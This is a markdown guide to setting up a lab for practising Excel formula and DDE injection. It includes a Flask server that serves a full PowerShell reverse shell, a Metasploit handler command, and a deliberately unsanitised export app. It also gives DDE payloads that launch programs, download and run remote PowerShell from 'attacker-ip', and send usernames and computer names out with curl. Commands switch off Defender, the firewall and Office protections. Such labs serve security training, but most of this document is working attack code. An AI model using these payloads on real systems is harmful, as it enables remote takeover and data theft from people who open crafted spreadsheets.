# Testing Lab Setup

> Complete guide to setting up a safe environment for practicing Excel injection techniques.

## 🎯 Lab Overview

This lab setup provides a controlled environment to test Excel injection attacks without risking production systems.

## 🏗️ Lab Architecture

```
┌─────────────────┐    ┌─────────────────┐    ┌─────────────────┐
│   Attacker VM   │    │   Target VM      │    │  Monitoring     │
│   (Kali Linux)  │◄──►│ (Windows 10)    │◄──►│  (Wireshark)    │
│                 │    │                 │    │                 │
│ - Burp Suite    │    │ - Excel 2019    │    │ - tcpdump        │
│ - Netcat        │    │ - Python Flask  │    │ - SIEM          │
│ - Payload Tools │    │ - Vuln Web App  │    │                 │
└─────────────────┘    └─────────────────┘    └─────────────────┘
```

## 📋 Prerequisites

### Hardware Requirements

* **RAM**: 8GB minimum (16GB recommended)
* **Storage**: 100GB available space
* **CPU**: 4 cores minimum

### Software Requirements

* **VMware Workstation / VirtualBox** (Free)
* **Kali Linux ISO** (Free)
* **Windows 10 ISO** (Free evaluation)
* **Microsoft Office 2019/2021** (Trial version)

***

## 🚀 Step-by-Step Lab Setup

### Step 1: Install Virtualization Platform

#### Option A: VMware Workstation

```bash
# Download VMware Workstation Player (Free)
https://www.vmware.com/products/workstation-player.html

# Install on host machine
# Accept default settings
```

#### Option B: VirtualBox (Free)

```bash
# Download VirtualBox
https://www.virtualbox.org/wiki/Downloads

# Install with default settings
```

### Step 2: Setup Attacker Machine (Kali Linux)

#### Download and Install Kali

```bash
# Download Kali Linux ISO
https://www.kali.org/get-kali/

# Create new VM in VMware/VirtualBox
# - Memory: 4GB
# - CPU: 2 cores
# - Storage: 50GB
# - Network: Bridged
```

#### Install Required Tools

```bash
# Update system
sudo apt update && sudo apt upgrade -y

# Install security tools
sudo apt install -y burpsuite wireshark netcat-openbsd nmap

# Install Python tools
pip3 install flask requests

# Create working directory
mkdir ~/excel-injection-lab
cd ~/excel-injection-lab
```

#### Create Payload Server

```python
# Create: payload_server.py
from flask import Flask, request
import json
from datetime import datetime

app = Flask(__name__)

@app.route('/')
def index():
    return "Excel Injection Lab Server", 200

@app.route('/collect')
def collect():
    user = request.args.get('user', 'unknown')
    computer = request.args.get('computer', 'unknown')
    data = request.args.get('data', 'unknown')

    log_entry = f"[{datetime.now()}] User: {user}, Computer: {computer}, Data: {data}\n"

    with open('exfil_log.txt', 'a') as f:
        f.write(log_entry)

    return f"Collected: {user}", 200

@app.route('/payload.ps1')
def payload_ps1():
    # Simple reverse shell payload
    payload = '''
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
'''
    return payload, 200, {'Content-Type': 'text/plain'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
```

#### Start Netcat Listener

```bash
# Start listener for reverse shells
nc -lvnp 4444

# Or use Metasploit
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 0.0.0.0; set lport 4444; exploit"
```

### Step 3: Setup Target Machine (Windows 10)

#### Install Windows 10

```bash
# Create new VM
# - Memory: 4GB
# - CPU: 2 cores
# - Storage: 60GB
# - Network: Bridged
# Install Windows 10 Pro
```

#### Install Required Software

```powershell
# Install Microsoft Office
# Download trial from Microsoft website
# Install Excel 2019 or later

# Install Python
# Download from python.org
# Add to PATH during installation

# Install Flask
pip install flask

# Disable Windows Defender for testing (LAB ONLY)
Set-MpPreference -DisableRealtimeMonitoring $true
```

#### Disable Excel Security Features (LAB ONLY)

```reg
# Open Registry Editor
# Navigate to: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security
# Set following values:
# - ProtectedView = 0 (Disable Protected View)
# - WorkbookLinkWarnings = 0 (Disable external link warnings)
# - DDEAllowed = 1 (Enable DDE)
```

#### Create Vulnerable Web Application

```python
# Create: vulnerable_app.py
from flask import Flask, request, send_file, jsonify
import pandas as pd
import openpyxl
from io import BytesIO

app = Flask(__name__)

@app.route('/')
def index():
    return '''
    <h1>Excel Injection Lab</h1>
    <h2>User Data Export</h2>
    <form method="POST" action="/export">
        <label>Name: <input type="text" name="name"></label><br><br>
        <label>Department: <input type="text" name="department"></label><br><br>
        <label>Email: <input type="text" name="email"></label><br><br>
        <input type="submit" value="Export to Excel">
    </form>
    '''

@app.route('/export', methods=['POST'])
def export():
    name = request.form.get('name', '')
    department = request.form.get('department', '')
    email = request.form.get('email', '')

    # VULNERABILITY: No input sanitization
    data = [
        ['Name', 'Department', 'Email'],
        [name, department, email]
    ]

    # Create Excel file
    df = pd.DataFrame(data)

    # Save to BytesIO
    output = BytesIO()
    with pd.ExcelWriter(output, engine='openpyxl') as writer:
        df.to_excel(writer, index=False, sheet_name='UserData')

    output.seek(0)

    return send_file(
        output,
        mimetype='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        as_attachment=True,
        download_name='user_data_export.xlsx'
    )

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080, debug=True)
```

#### Start Vulnerable Application

```powershell
# Open PowerShell as Administrator
cd C:\Users\Administrator\Desktop
python vulnerable_app.py
```

### Step 4: Setup Monitoring

#### Network Monitoring (Wireshark)

```bash
# Start Wireshark on attacker machine
# Capture on interface connected to lab network
# Set filter: excel.exe or port 80 or port 4444
```

#### System Monitoring (Windows)

```powershell
# Create monitoring script
# Create: monitor.ps1

while ($true) {
    $processes = Get-Process | Where-Object {$_.ProcessName -like "*excel*" -or $_.ProcessName -like "*powershell*"}
    foreach ($proc in $processes) {
        Write-Host "[$(Get-Date)] Found process: $($proc.ProcessName) - PID: $($proc.Id)"
    }
    Start-Sleep -Seconds 2
}
```

#### SIEM Monitoring (Optional)

```bash
# Install ELK Stack or Splunk for advanced monitoring
# Configure to collect Windows Security logs
# Set up alerts for suspicious Excel activity
```

***

## 🧪 Testing Scenarios

### Scenario 1: Basic Formula Injection

#### Step 1: Submit Malicious Input

```bash
# Access vulnerable web app
http://target-ip:8080

# Submit form with payload
Name: =cmd|'/C calc.exe'!A1
Department: IT
Email: test@example.com
```

#### Step 2: Download and Open Excel

1. Click "Export to Excel"
2. Download user\_data\_export.xlsx
3. Open Excel file
4. **Expected Result**: Calculator launches

#### Step 3: Monitor Results

```bash
# Check Wireshark for Excel network activity
# Check PowerShell monitor for new processes
# Check tasklist for calc.exe
tasklist | findstr calc.exe
```

### Scenario 2: PowerShell Reverse Shell

#### Step 1: Prepare Payload

```bash
# On attacker machine, start listener
nc -lvnp 4444

# Start payload server
python3 payload_server.py
```

#### Step 2: Submit Payload

```bash
# Access vulnerable web app
Name: =cmd|'/C powershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/payload.ps1')"'!A1
Department: Finance
Email: attacker@test.com
```

#### Step 3: Monitor Shell

```bash
# Check netcat for reverse shell connection
# Expected: PowerShell session established
```

### Scenario 3: Data Exfiltration

#### Step 1: Submit Exfiltration Payload

```bash
Name: John Doe
Department: HR
Email: =cmd|'/C curl http://attacker-ip/collect?user=%USERNAME%&computer=%COMPUTERNAME%'!A1
```

#### Step 2: Monitor Exfiltration

```bash
# Check payload server logs
tail -f exfil_log.txt

# Expected output:
# [2024-01-01 12:00:00] User: Administrator, Computer: WIN-TEST, Data: unknown
```

***

## 🛡️ Lab Safety Guidelines

### Isolation Requirements

* [ ] Lab network completely isolated from production
* [ ] No internet access from target VM (except to attacker VM)
* [ ] All sensitive data removed from lab environment
* [ ] Regular snapshots before testing

### Cleanup Procedures

```bash
# Stop all services
pkill -f payload_server.py
pkill -f nc

# Remove generated files
rm -f *.xlsx *.ps1 *.log

# Restore VM snapshots
```

### Documentation

```bash
# Create lab notebook
mkdir lab_logs
echo "$(date): Lab session started" >> lab_logs/session.log

# Document all tests
echo "$(date): Tested basic formula injection - SUCCESS" >> lab_logs/session.log
```

***

## 🔍 Troubleshooting

### Common Issues

#### Excel Protected View Blocks Payload

**Solution**: Disable Protected View in registry (LAB ONLY)

```reg
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView]
"DisableAttachmentsInPV"=dword:00000001
"DisableInternetFilesInPV"=dword:00000001
"DisableUnsafeLocationsInPV"=dword:00000001
```

#### Network Connections Blocked

**Solution**: Disable Windows Firewall for testing

```powershell
netsh advfirewall set allprofiles state off
```

#### PowerShell Execution Policy

**Solution**: Set execution policy to bypass

```powershell
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
```

#### DDE Warnings

**Solution**: Enable DDE in registry (LAB ONLY)

```reg
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security]
"DDEAllowed"=dword:00000001
"WorkbookLinkWarnings"=dword:00000000
```

### Verification Commands

```bash
# Verify Excel is running vulnerable configuration
# Check Excel version
excel.exe /safe

# Test DDE functionality
# Create test cell with: =cmd|'/C echo DDE_TEST > C:\temp\ddetest.txt'!A1
# Check if file created: type C:\temp\ddetest.txt
```

***

## 📚 Next Steps

After mastering the basic lab setup:

1. **Advanced Scenarios**: Test with corporate security tools
2. **Evasion Techniques**: Practice bypassing antivirus
3. **Social Engineering**: Test phishing scenarios
4. **Persistence**: Test advanced persistence mechanisms
5. **Detection**: Develop custom detection rules

***

*⚠️ This lab is for educational purposes only. Never use these techniques without proper authorization.*
